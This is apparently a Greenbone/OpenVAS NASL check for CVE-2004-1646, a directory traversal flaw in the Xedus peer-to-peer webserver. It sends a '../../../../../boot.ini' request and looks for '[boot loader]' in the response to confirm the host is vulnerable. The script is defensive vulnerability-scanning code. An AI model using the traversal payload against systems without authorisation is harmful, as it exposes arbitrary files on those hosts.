Xedus directory traversal

# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.14645");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2004-1646");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11071");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Xedus directory traversal");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2004 David Maciejak");
  script_family("Peer-To-Peer File Sharing");
  script_dependencies("xedus_detect.nasl");
  script_require_ports("Services/www", 4274);
  script_mandatory_keys("xedus/running");

  script_tag(name:"solution", value:"Upgrade to the latest version.");

  script_tag(name:"summary", value:"The remote host runs Xedus Peer to Peer webserver. This version is
  vulnerable to directory traversal.");

  script_tag(name:"impact", value:"An attacker could send specially crafted URL to view arbitrary
  files on the system.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:4274);
if ( ! get_kb_item("xedus/" + port + "/running"))
  exit(0);

url = "../../../../../boot.ini";
req = http_get(item:url, port:port);
res = http_send_recv(port:port, data:req);

if(egrep(pattern:"\[boot loader\]", string:res)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);